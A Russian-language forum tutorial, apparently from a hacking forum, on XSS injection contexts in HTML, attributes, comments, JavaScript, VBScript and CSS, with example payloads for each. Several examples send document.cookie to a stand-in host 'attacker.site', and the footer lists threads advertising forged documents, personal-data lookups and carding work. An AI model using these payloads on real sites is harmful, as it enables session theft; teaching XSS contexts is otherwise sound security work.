Уроки по XSS: Урок 3. Контексты внедрения XSS

  • Автор темы klobald
  • Дата начала
K

klobald

Original poster
Веб-страница – это всего лишь текст, но браузер не смотрит на неё как на монолитный кусок текста, различные разделы страницы могут быть интерпретированы браузером по-разному: как HTML, CSS или JavaScript.

Как слово ключ в зависимости от используемого контектса может означать музыкальный знак, ключ — от двери, ключ — природный источник воды, ключ — гаечный ключ, ключ — регистрационный номер, вводимый для установки платного программного обеспечения; так и то влияние, которое оказывает пользовательский ввод зависит от контекста, в котором браузер пытается интерпретировать пользовательский ввод. Ниже составлен список различных контекстов, в которых пользовательский ввод может возникнуть на странице.


1) Простой HTML контекст
В теле существующего HTML тэга или в начале и в конце страницы вне тэга <html>.
Код:
<некий_html_тэг> пользовательский_ввод </некий_html_тэг>

В этом контексте вы можете в пользовательский ввод вписать валидный HTML любого рода и он немедленно будет воспроизведён браузером.

Например:
Код:
<img src=x onerror=alert(1)>


2) Контекст имени HTML атрибута
Внутри открытого HTML тэга, после имени тэга или после значения атрибута.
Код:
<некий_html_тэг пользовательский_ввод имя_некоего_атрибута="некое_значение_атрибута"/>

В этом контексте вы можете ввести имя обработчика событий и код JavaScript следующий за символом = и мы можем иметь исполняемый код, это можно рассматривать как исполнимый контекст.

Например:
Код:
onclick="alert(1)"


3) Контекст значения HTML атрибута
Внутри открытого HTML тэга, после имени атрибута отделённого символом =.
Код:
<некий_html_тэг имя_некоего_атрибута="пользовательский_ввод" />

<некий_html_тэг имя_некоего_атрибута='пользовательский_ввод' />

<некий_html_тэг имя_некоего_атрибута=пользовательский_ввод />

Есть три вариации этого контекста

  • Атрибут внутри двойных кавычек
  • Атрибут внутри одинарных кавычек
  • Атрибут без кавычек
Выполнение кода в этом контексте будет зависеть от типа атрибута, в котором появляется ввода. Есть три разных типа атрибутов:

a) Атрибуты события

Это такие атрибуты как onclick, onload и т.д. и значения этих атрибутов выполняются как JavaScript. Поэтому всё здесь – это то же самое, что и JavaScript контекст.

b) URL атрибуты

Эти атрибуты принимают URL в качестве значения, например, src атрибут различных тэгов. Ввод JavaScript URL здесь может привести к выполнению JavaScript.

Например:
Код:
javascript:some_javascript()

c) Специальные URL атрибуты

Это URL атрибуты, где ввод обычных URL может привести к проблемам безопасности.

Несколько примеров:
Код:
<script src="пользовательский_ввод"

<iframe src="пользовательский_ввод"

<frame src="пользовательский_ввод"

<link href="пользовательский_ввод"

<object data="пользовательский_ввод"

<embed src="пользовательский_ввод"

<form action="пользовательский_ввод"

<button formaction="пользовательский_ввод"

<base href="пользовательский_ввод"

<a href="пользовательский_ввод"

Ввод просто абсолютного http или https URL в этих случаях может оказать эффект на безопасность веб-сайта. В некоторых случаях, если возможно выгружать на сервер контролируемые пользователем данные, тогда даже ввод относительных URL здесь может привести к проблеме. Некоторым сайтам следует очищать http:// и https:// от введённых значений в этих атрибутах для предотвращения вставки здесь абсолютных URL, но есть много способов, которыми могут быть указаны абсолютные URL.

d) Атрибуты тега META

Meta теги, такие как Charset, могут влиять на то, как содержимые страницы интерпретируется браузером. И есть атрибут http-equiv, который может эмулировать поведение заголовков ответа HTTP. Воздействия на значения заголовков вроде Content-Type, Set-Cookie и т.д. будет иметь влияние на безопасность страницы.

e) Обычные атрибуты

Если ввод появляется в значениях обычных атрибутов, то этот контекст должен быть экранирован, чтобы это привело к выполнению кода. Если атрибут в кавычках, то нужно использовать соответствующую кавычку для выхода из контекста. В случае отсутствия в атрибуте кавычек, пробел или обратный слеш должны сделать эту работу. При выходе из контекста можно добавить новый обработчик событий, что приведёт к выполнению кода.

Например:
Код:
" onclick=alert(1)

' onclick=alert(1)

onclick=alert(1)


4) Контекст HTML комментариев
Внутри секции комментариев HTML
Код:
<!-- некий_комментарий пользовательский_ввод некий_комментарий -->

Это не исполняемый контекст и требуется выйти из контекста для выполнения кода. Ввод --> завершит этот контекст и переключит весь последующий текст в HTML контекст.

Например:
Код:
--><img src=x onerror=alert(1)>


5) Контекст JavaScript
Внутри раздела страницы JavaScript кода.
Код:
<script>

некоторый_javascript

пользовательский_ввод

некоторый_javascript

</script>

Это относится к разделу, заключённому в тэги SCRIPT, в значения атрибутов обработчиков событий и в URL, обрабатывающихся с JavaScript.

Внутри JavaScript пользовательский ввод может появляться в следующих контекстах:

  • a) Контекст кода
  • b) Контекст строки внутри одинарных кавычек
  • c) Контекст строки внутри двойных кавычек
  • d) Контекст комментария в одну строку
  • e) Контекст комментария в несколько строк
  • f) Строки, которые отправляются исполняющим поглотителям
Если пользовательский ввод между тэгами SCRIPT, то не имеет значения, в каком из контекстов он появился, вы можете переключиться на контекст HTML просто включив закрывающий тэг SCRIPT, а затем вставить любой HTML.

Например:
Код:
</script><img src=x onerror=alert(1)>

Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно специально обработать ввод в зависимости от специфичного JavaScript контекста, в котором он появляется.

a) Контекст кода
Код:
function dev_func(input) {some_js_code}

dev_func(пользовательский_ввод);

some_variable=123;

Это исполняемый контекст, пользовательский ввод напрямую появляется в выражении и вы можете напрямую ввести элементы JavaScript и они будут выполнены.

Например:
Код:
$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

b) Контекст строки внутри одинарных кавычек
Код:
var some_variable='пользовательский_ввод';

Это не исполняемый контекст и пользовательский ввод должен включать одинарную кавычку в начале для выхода из контекста строки и перехода в контекст кода.

Например:
Код:
'; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

c) Контекст строки внутри двойных кавычек
Код:
var some_variable="пользовательский_ввод";

Это не исполняемый контекст и пользовательский ввод должен включать двойную кавычку в начале для выхода из контекста строки и перехода в контекст кода.

Например:
Код:
'; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

d) Контекст команды в одну строку
Код:
some_js_func();//пользовательский_ввод

Это не исполняемый контекст и пользовательский ввод должен включать символ новой строки для выхода из контекста комментария строки и переключения в контекст кода.

Например:
Код:
\r\n$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

e) Контекст многострочного комментария
Код:
some_js_func();

/*

пользовательский_ввод
Код:
*/

some_js_code

Это не исполняемый контекст и пользовательский ввод должен включать */ для выхода из контекста многострочного комментария и переключения в контекст кода.

Например:
Код:
*/$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

f) Строка, предназначенная для исполнителей кода

Эти контекст строк заключённых в кавычки или в двойные кавычки, но важно то, что эти строки передаются функциями или назначаются свойствам, которые будут обработаны как исполняемый код.

Вот несколько примеров:

  • eval("пользовательский_ввод");
  • location = "пользовательский_ввод";
  • setTimeout(1000, "пользовательский_ввод");
  • x.innerHTML = "пользовательский_ввод";
Дополнительные конструкции для исполнения кода смотрите в

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.

Это должно обрабатываться похожим образом с контекстом кода.


6) Контекст VB Script
В настоящие дни это большая редкость, но всё же вам может встретиться какой-нибудь странный сайт, использующий VBScript.
Код:
<script language="vbscript" type="text/vbscript">

some_vbscript

пользовательский_ввод
Код:
some_vbscript

</script>

Как JavaScript, вы можете переключиться на контекст HTML тэгом </SCRIPT>.

Внутри VBScript пользовательский ввод может появляться в следующих контекстах:

a) Контекст кода

b) Контекст строки внутри одинарных кавычек

c) Контекст строки внутри двойных кавычек

d) Строки, которые отправляются на исполняющий поглотитель

a) Контекст кода

Похоже на JavaScript эквивалент, вы можете напрямую вводить VBScript

b) Контекст строки внутри одинарных кавычек

VBScript имеет только однострочные комментарии и по аналогии с эквивалентом JavaScript ввод символа новой строки позволит выйти из контекста комментариев и переключиться на контекст кода.

c) Контекст строки внутри двойных кавычек

Похоже на JavaScript эквивалент

d) Строки, которые отправляются на исполняющий поглотитель

Похоже на JavaScript эквивалент


7) CSS Context
Внутри раздела CSS кода страницы.
Код:
<style>

some_css

пользовательский_ввод

some_css

</style>

Это относится к разделу, заключённому в теги STYLE, и в значения атрибутов стиля.

Внедрение CSS в страницу само по себе может иметь некоторое воздействие на эту страницу. Например, изменение расположения, видимости, размера и z-index элементов на страницы может сделать для пользователя возможным выполнить действия отличное от предполагаемых.

Но ещё интереснее как JavaScript может быть выполнена внутри CSS. Хотя в современных браузерах это невозможно, более старые поддерживали выполнение JavaScript двумя способами.

i. expression property

expression – это особенность только Internet Explorer, которая позволяла выполнение JavaScript встроенного внутри CSS.
Код:
css_selector

{

 property_name: expression(some_javascript);

}

ii. JavaScript URL

Некоторые CSS свойства вроде свойства background-image принимали URL в качестве своих значений. В более старых браузерах вставка здесь JavaScript URL приводила выполнению этого кода JavaScript.
Код:
css_selector

{

background-image: javascript:some_javascript()

}

Внутри CSS, пользовательский ввод может появиться в следующих контекстах:

  • a) Контекст оператора
  • b) Контекст строки заключённой в одиночные/двойные кавычки
  • c) Контекст многострочного комментария
  • d) Строки, отправляемые для выполнения
По аналогии с тэгом SCRIPT, если пользовательский ввод между тэгами STYLE, тогда вы можете переключиться на HTML контекст включив закрывающий тэг STYLE и затем вставив любой HTML.

Например:
Код:
</style><img src=x onerror=alert(1)>

Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно приготовить ввод в зависимости от CSS контекста, в котором он появляется.

a) Контекст оператора

В этом контексте вы можете начать напрямую внедряя CSS для изменения страницы при атаке социальной инженерией или задействовать свойство выражения или метод JavaScript URL для внедрения кода JavaScript.

b) Контекст строки заключённой в одиночные/двойные кавычки

В начале ввода добавьте одиночную или двойную кавычку, чтобы завершить контекст строки и переключиться в контекст оператора.

c) Контекст многострочного комментария

По аналогии с многострочными комментариями в JavaScript ввод */ прекратит контекст комментария и переключит в контекст оператора.

d) Строки, отправляемые для выполнения

Это строки внутри одинарных или двойных кавычек, которые либо передаются в выражение свойства или в свойство, принимающее URL, например, background-image. В обоих случаях, данные внутри контекста строки могут интерпретироваться браузером как JavaScript код.
 
Название темы
Автор Заголовок Раздел Ответы Дата
K Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, фишинг, подсказки обхода ф Уязвимости и взлом 0
K Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов Уязвимости и взлом 0
Ф Уроки по C# .NET 2
P Видео-Уроки по С# Полезные статьи 8
O Уроки по HTML & CSS Другие ЯП 1
Emilio_Gaviriya Статья CVE: Подборка ресурсов по поиску уязвимостей. Уязвимости и взлом 0
Emilio_Gaviriya Как вычислить местоположение по IP-адресу? Статьи 0
AezaHost Продам Aéza — 7950X3D до 5.7 ГГц по ценам обычных серверов во всём мире. Автоустановка 60с Сайты/Хостинг/Сервера 0
Emilio_Gaviriya Статья Поиск по IoT, IP, доменам и поддоменам: 4 утилиты. Уязвимости и взлом 0
HyperHosting Продам Hyper.Hosting - Надежные VPS и серверы по всему миру! Сайты/Хостинг/Сервера 0
Emilio_Gaviriya Статья Гайд по SQL-инъекциям. Уязвимости и взлом 0
Black_ppss ⭐ Поиск людей для работы с команде! Вещевой карж по EU! Предоставляю работу. Ищу специалиста. 1
Support81 92% атак по email: электронная почта остается главной лазейкой для фишеров Новости в сети 0
bitwisex Инструкция по установке и настройке криптовалютного кошелька Trust Wallet Полезные статьи 0
Support81 Специалисты по кибербезопасности назвали главную угрозу для компаний в 2024 году Новости в сети 0
lonesttar Ожидает оплаты Скрипт бота по аренде виртуальных номеров + бот техподдержка! Продажа софта 0
lonesttar Ожидает оплаты Скрипт бота по аренде прокси + бот техподдержка! Продажа софта 0
A Ищем менеджера по обработке заявок. Предоставляю работу. Ищу специалиста. 1
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
F Вакансия: Менеджер по продажам - удаленная работа в США Предоставляю работу. Ищу специалиста. 0
Support81 Zhejiang Big Chip: китайский удар по доминированию США в сфере суперкомпьютеров Новости в сети 0
E.Alderson Ищу наставника по penetration tester Ищу работу. Предлагаю свои услуги. 0
Dany Blanco Набор в команду 2-3 человека! Вбив вещевухи по Европе. Предоставляю работу. Ищу специалиста. 0
TrashHellSoDomy Работающие методы по борьбе с гриппом типа ковида Юмор 3
SMM2040 Ожидает оплаты Рассылаем по WhatsApp | Лучшая цена | 98% Проход Ищу работу. Предлагаю свои услуги. 1
NovaBaseNova Базы на заказ. Собираем по любым направлениям! Ищу работу. Предлагаю свои услуги. 0
Ёшкин_кот Интересно Зарубежный сервис по приёму смс. (бесплатный) Свободное общение и флейм 1
Ёшкин_кот Интересно Пять способов поиска человека по открытым источникам (OSINT) Полезные статьи 2
turbion0 В России запустили переводы по СБП в пять стран. Деньги поступают мгновенно Новости в сети 0
T Куплю Куплю Вашу криптовалюту по выгодному курсу!! Куплю/Продам 0
Support81 Терпение лопнуло: Южная Корея, США и Япония объединяют усилия по борьбе с северокорейскими хакерами Новости в сети 0
C Помощь по зароботку! Предоставляю работу. Ищу специалиста. 0
Mr.Prime Ищу специалиста по деанону телеги. Есть приватный канал, нужно узнать владельца. Предоставляю работу. Ищу специалиста. 0
BillyBons Игры бесплатно для слабых ПК по прямой ссылке- rpgame1.net Другое 4
Арианна 25 книг по социальной инженерии Полезные статьи 2
I Турнир по Dota 2 и приз 10 000 руб! Присоединяйтесь будет жарко! Свободное общение и флейм 0
RefBanker Ожидает оплаты Скупка до 75% на ручных дропов | Пересыл вашего стаффа по WW | Белые лейблы UPS за 60% Куплю/Продам 1
Арианна Государственный пробив по РФ Ищу работу. Предлагаю свои услуги. 0
mrpink Продам Качественные сканы РФ паспортов по доступным ценам. Отрисовка документов Аккаунты/Админки/Документы 0
mrpink Ищу сотрудников салонов Связной, Мегафон и Contact для работы по верификациям кошельков Qiwi и Юмани Предоставляю работу. Ищу специалиста. 0
U Usersbox — OSINT бот по пробиву людей и поиску информации Корзина 0
G Требуется АРТ- АГЕНТ по продаже на eBay , Аmazon и др. Копии картин знаменитых Корзина 0
JustTG Ожидает оплаты Just-tg.com | Сервис по продвижению каналов и ботов в TELEGRAM | Прямой поставщик 24/7 Ищу работу. Предлагаю свои услуги. 1
M Пробив от секретной службы Mossad (ПРОБИВ по всем структурам, комплексные решения под ваш запрос) Корзина 0
Support81 Шантаж, клевета, угрозы расправы? Обычный рабочий день специалиста по кибербезопасности Новости в сети 1
Support81 Интересно Алгоритм работы СБ Сбербанка по антифроду. Карты/CC/Банки/Enroll 0
Support81 Юные британские хакеры взломали десятки организаций по всему миру, как им это удалось? Новости в сети 0
E На проверке Сервис №1 по продаже ГОСУСЛУГ и документов под МФО, БК, КИВИ и пр. / бот автопродаж / Все что не подошло по разделу 1
O На проверке Продвижение телеграм проектов, инвайт в чат, рассылка в ЛС, рассылка по чатам, парсинг Ищу работу. Предлагаю свои услуги. 1
dymario На проверке Лучший обнал сервис по Беларуси! Ищу работу. Предлагаю свои услуги. 1

Название темы